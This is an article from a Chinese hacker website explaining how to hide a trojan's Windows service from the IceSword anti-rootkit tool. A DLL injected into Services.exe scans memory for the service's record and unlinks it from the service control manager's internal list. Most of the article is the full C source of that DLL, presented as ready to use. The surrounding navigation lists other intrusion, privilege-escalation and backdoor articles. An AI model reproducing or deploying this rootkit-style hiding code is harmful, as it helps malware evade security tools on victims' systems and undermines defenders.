黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]在冰刃下隐藏木马的服务项
      ★★★★

在冰刃下隐藏木马的服务项

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-6-2 10:16:20
上次看到wineggdrog有在讨论icesword是如何检测服务的。
 虽然我不知道icesword是什么样列举服务的,但估计最终也是通过历遍SCM内部的ServiceRecordList来检测。
 为什么呢?看下面。
 用附件中的InjectDLL.exe把hideservice.dll注入到Services.exe进程后就会把Alerter服务隐藏掉。用icesword也检测不出Alerter服务了。
 代码原理很简单,就是在Services.exe进程找到ServiceRecordList表,将需要隐藏的服务从链表上断开。
 既然icesword也检测不出了,那就说明icesword最终也是通过历遍SCM内部的ServiceRecordList来检测.
 好像最先是听到EVA讲的。
 以下是dll的代码,网上找到的,拿来就用。
 Codz:
 #include
 #include
 #include   

 typedef struct _FAKE_SERVICE_RECORD {
     struct _FAKE_SERVICE_RECORD  *Prev;          // linked list
     struct _FAKE_SERVICE_RECORD  *Next;          // linked list
     LPWSTR                  ServiceName;    // points to service name
     LPWSTR                  DisplayName;    //
 } FAKE_SERVICE_RECORD, *PFAKE_SERVICE_RECORD, *LPFAKE_SERVICE_RECORD;

 void seArchDWORD(int Addr);
 BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReAson,LPVOID lpvReserved)
 {
 switch (fdwReAson){
   
 case DLL_PROCESS_ATTACH:
   {  
    FILE* pFile;
    pFile = fopen("c:\\seArch.txt","a+");
    fputs("begin\n",pFile);
    fclose(pFile);
    int i;
    for (i = 0x300000;i<0x5000000;i+=4){
     printf("%x\n",i);
     __try{
      if (0 == wcscmp((const unsigned short *)i,L"Alerter")){
       char temp [32];
       sprintf(temp,"found Alerter At: %x\n",i);
       FILE* pFile;
       pFile = fopen("c:\\seArch.txt","a+");
       fputs(temp,pFile);
       fclose(pFile);
       seArchDWORD(i);
       //break;
      }
     }
     __except(EXCEPTION_EXECUTE_HANDLER ){
      printf("error\n");
      i-=4;
      i += 0x1000;
      //_getche();
     }
    } 

   }
 case DLL_THREAD_ATTACH:
   break;
 case DLL_THREAD_DETACH:
   break;
 case DLL_PROCESS_DETACH:
   break;
 }
 return TRUE;
 }
 //--------------------------------------------------------------------
 void seArchDWORD(int Addr)
 {
 int i;
 for (i = 0x300000;i<0x5000000;i+=4){
   printf("%x\n",i);
   __try{
    if (Addr == *(ULONG*)i){
     char temp [32];
     sprintf(temp,"found the point At: %x\n",i);
     FILE* pFile;
     pFile = fopen("c:\seArch.txt","a+");
     fputs(temp,pFile);
     fputws((const unsigned short *)(*(ULONG*)(i+4)),pFile);
     fputs("\n",pFile);
     fclose(pFile);
     //break;
     if (0 == wcscmp((const unsigned short *)(*(ULONG*)(i+4)),L"Alerter")){
      //found the right one
      PFAKE_SERVICE_RECORD pRecord;
      pRecord = (PFAKE_SERVICE_RECORD)(i-8);
      *((DWORD*)pRecord->Prev+1) = (DWORD)(pRecord->Next);
      *((DWORD*)pRecord->Next) = (DWORD)(pRecord->Prev);
      }
    }
   }
   __except(EXCEPTION_EXECUTE_HANDLER ){
    printf("error\n");
    i-=4;
    i += 0x1000;
    //_getche();
   }
 }

 }

文章录入:cainiaowang    责任编辑:sygbox 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体:
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886